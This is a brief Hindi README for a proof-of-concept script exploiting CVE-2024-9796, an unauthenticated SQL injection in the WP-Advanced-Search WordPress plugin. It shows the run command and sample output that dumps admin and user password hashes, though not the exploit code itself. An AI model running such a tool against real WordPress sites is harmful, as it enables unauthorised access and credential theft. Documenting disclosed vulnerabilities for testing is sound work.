CVE-2024-9796 WP-Advanced-Search < 3.3.9.2 - अप्रमाणित SQL इंजेक्शन

विवरण

PoC SQL इंजेक्शन WordPress उपयोगकर्ताओं और हैशेस को डंप करेगा।

अस्वीकरण:

यह स्क्रिप्ट केवल शैक्षणिक उपयोग के लिए है।

इसे अवैध उद्देश्यों के लिए उपयोग न करें।

यदि आप ऐसा करते हैं, तो यह पूरी तरह से आपकी जिम्मेदारी है; मैं किसी भी दुरुपयोग के लिए उत्तरदायी नहीं हूँ।

शोषण पर अधिक जानकारी

https://wpscan.com/vulnerability/2ddd6839-6bcb-4bb8-97e0-1516b8c2b99b/

उपयोग:

# Successful attempt
python3 poc.py -i 127.0.0.1
[!] 127.0.0.1 has been PWNed!
admin:$P$H5blBNpO5AVI7eDJJi95E6pso16h981
user:$P$H1Sa1pcnzwWha3G9XH5rkfB6wOcE2a1

# unsuccessful attempt
python3 poc.py -i 127.0.0.1
[!] Doesn't look vulnerable..